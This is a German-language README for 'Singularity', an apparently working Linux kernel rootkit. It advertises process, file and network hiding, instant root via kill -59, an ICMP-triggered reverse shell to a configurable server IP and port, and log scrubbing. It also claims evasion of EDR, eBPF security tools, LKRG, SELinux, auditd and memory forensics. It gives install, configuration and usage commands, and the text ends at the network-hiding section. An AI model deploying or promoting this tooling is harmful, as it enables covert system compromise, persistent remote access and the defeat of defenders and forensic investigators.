Singularity - Stealthy Linux Kernel Rootkit
"Shall we give forensics a little work?"
Singularity ist ein leistungsstarkes Linux Kernel Module (LKM) Rootkit, das für moderne 6.x-Kernel entwickelt wurde. Es bietet umfassende Stealth-Fähigkeiten durch fortschrittliches System Call Hooking über die ftrace-Infrastruktur.
Vollständiger Forschungsartikel (veraltete Version): Singularity: A Final Boss Linux Kernel Rootkit
EDR Evasion Case Study: Bypassing Elastic EDR with Singularity
POC Video: Singularity vs eBPF security tools: Singularity vs eBPF security tools
Breaking eBPF Security with Singularity hooks: Breaking eBPF
Singularity Rootkit: Evading Elastic Defend Module Load Detection Bypassing Elastic Defend
Was ist Singularity?
Singularity ist ein hochentwickeltes Rootkit, das auf Kernel-Ebene arbeitet und Folgendes bietet:
- Process Hiding: Jeden Prozess vollständig unsichtbar für das System machen
- File & Directory Hiding: Dateien durch Pattern-Matching verbergen
- Network Stealth: TCP/UDP-Verbindungen, Ports und Conntrack-Einträge verbergen
- Privilege Escalation: Signalbasierter sofortiger Root-Zugriff
- Log Sanitization: Kernel-Logs und System-Journale in Echtzeit filtern
- Self-Hiding: Sich selbst aus Modullisten und Systemüberwachung entfernen
- Remote Access: ICMP-ausgelöste Reverse Shell mit automatischer Verbergung
- Anti-Detection: eBPF-basierte Runtime-Security-Tools (Falco, Tracee) umgehen, Linux Kernel Runtime Guard (LKRG) umgehen und io_uring-Bypass-Versuche verhindern
- Audit Evasion: Audit-Nachrichten für versteckte Prozesse auf Netlink-Ebene mit Statistik-Tracking und Socket-Inode-Filterung verwerfen
- Memory Forensics Evasion: LiME- und AVML-Akquisition blockieren; Modulseiten und versteckte task_structs in Physical Dumps nullen; /proc/kcore, /proc/kallsyms, /proc/vmallocinfo filtern
- Cgroup Filtering: Versteckte PIDs aus cgroup.procs filtern
- Syslog Evasion: do_syslog hooken, um klogctl()-Zugriff auf den Kernel-Ringpuffer zu filtern
- Debugfs Evasion: Ausgabe von Tools wie debugfs filtern, die rohe Blockgeräte lesen
- Conntrack Filtering: Verbindungen aus /proc/net/nf_conntrack und Netlink SOCK_DIAG/NETFILTER-Abfragen verbergen
- SELinux Evasion: Automatische Umgehung des SELinux-Enforcing-Modus beim ICMP-Trigger
- LKRG Bypass: Erkennungsmechanismen des Linux Kernel Runtime Guard umgehen
- eBPF Security Bypass: Prozesse vor eBPF-basierten Runtime-Security-Tools (Falco, Tracee) verbergen
Features
- Signalbasierte Privilege Elevation (kill -59)
- Vollständiges Verbergen von Prozessen vor /proc und Überwachungstools
- Pattern-basiertes Dateisystem-Verbergen für Dateien und Verzeichnisse
- Verbergen von Netzwerkverbindungen vor netstat, ss, conntrack und Paketanalysatoren
- Fortschrittliche Netlink-Filterung (SOCK_DIAG, NETFILTER/conntrack-Nachrichten)
- Echtzeit-Kernel-Log-Filterung für dmesg, journalctl und klogctl
- Modul-Selbstverbergung vor lsmod und /sys/module
- Automatische Normalisierung des Kernel-Taint-Flags
- BPF-Datenfilterung zur Verhinderung eBPF-basierter Erkennung
- io_uring-Schutz gegen asynchronen I/O-Bypass
- Log-Maskierung für Kernel-Nachrichten und System-Logs
- Umgehung von Standard-Rootkit-Detektoren (unhide, chkrootkit, rkhunter)
- Automatisches Tracking und Verbergen von Kindprozessen über Tracepoint-Hooks
- Multi-Architektur-Unterstützung (x64 + ia32)
- Filterung auf Netzwerkpaketebene mit Raw-Socket-Schutz
- Schutz gegen alle Datei-I/O-Varianten (read, write, splice, sendfile, tee, copy_file_range)
- Audit-Nachrichtenfilterung auf Netlink-Ebene mit Statistik-Tracking zur Umgehung der auditd-Erkennung
- Socket-Inode-Tracking für umfassendes Netzwerk-Verbergen
- Cgroup-PID-Filterung zur Verhinderung der Erkennung über
/sys/fs/cgroup/*/cgroup.procs
- TaskStats-Netlink-Blockierung zur Verhinderung der PID-Aufzählung
- Widerstand gegen Physical Memory Acquisition: kprobe auf
copy_mc_to_kernel fängt LiME-Seitenkopien ab und leitet Modulseiten und versteckte task_struct-Bereiche auf genullte Puffer um; AVML blockiert über /proc/kcore-Read-Hook
- /proc/kcore, /proc/kallsyms, /proc/vmallocinfo Read-Filterung
- do_syslog-Hook zur Filterung von klogctl() und Verhinderung von Kernel-Ringpuffer-Leaks
- Blockgeräte-Ausgabefilterung zur Umgehung von debugfs und ähnlichen Disk-Forensik-Tools
- journalctl -k Ausgabefilterung über Write-Hook
- SELinux-Enforcing-Modus-Bypass-Fähigkeit für ICMP-ausgelöste Shells
- LKRG-Integritätsprüfungs-Bypass für versteckte Prozesse
- Falco-Event-Verbergung über BPF-Ringbuffer- und Perf-Event-Interception
Installation
Voraussetzungen
- Linux-Kernel 6.x
- Kernel-Header für Ihren laufenden Kernel
- GCC und Make
- Root-Zugriff
Schnellinstallation
cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
Das war's. Das Modul automatisch:
- Versteckt sich vor lsmod, /proc/modules, /sys/module
- Löscht Kernel-Taint-Flags
- Filtert sensible Zeichenfolgen aus dmesg, journalctl -k, klogctl
- Beginnt mit dem Schutz Ihrer versteckten Dateien und Prozesse
Wichtige Hinweise
Das Modul versteckt sich automatisch nach dem Laden
Es gibt keine Entlade-Funktion - Neustart erforderlich zum Entfernen
Zuerst in einer VM testen - kann nicht ohne Neustart entfernt werden
Konfiguration
Legen Sie Ihre Server-IP und Ihren Port fest
Bearbeiten Sie include/core.h:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
Bearbeite modules/icmp.c:
#define SRV_PORT "8081" // Change this to your desired port
Bearbeite modules/bpf_hook.c:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
Bearbeite modules/hiding_tcp.c:
#define PORT 8081 // Must match SRV_PORT
Wichtig: Alle Portdefinitionen müssen übereinstimmen, damit das Verbergen im Netzwerk und die ICMP-Reverse-Shell-Funktionalität ordnungsgemäß funktionieren.
Verwendung
Prozesse verbergen
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Der Prozess ist für ps, top, htop, /proc und alle Überwachungstools unsichtbar. Alle untergeordneten Prozesse werden automatisch verfolgt und verborgen.
Dateien & Verzeichnisse verbergen
Dateien, die den konfigurierten Mustern entsprechen, werden automatisch verborgen:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
Root werden
Signalbasierte Methode:
kill -59 $$
id # uid=0(root)
Netzwerkverbindungen verbergen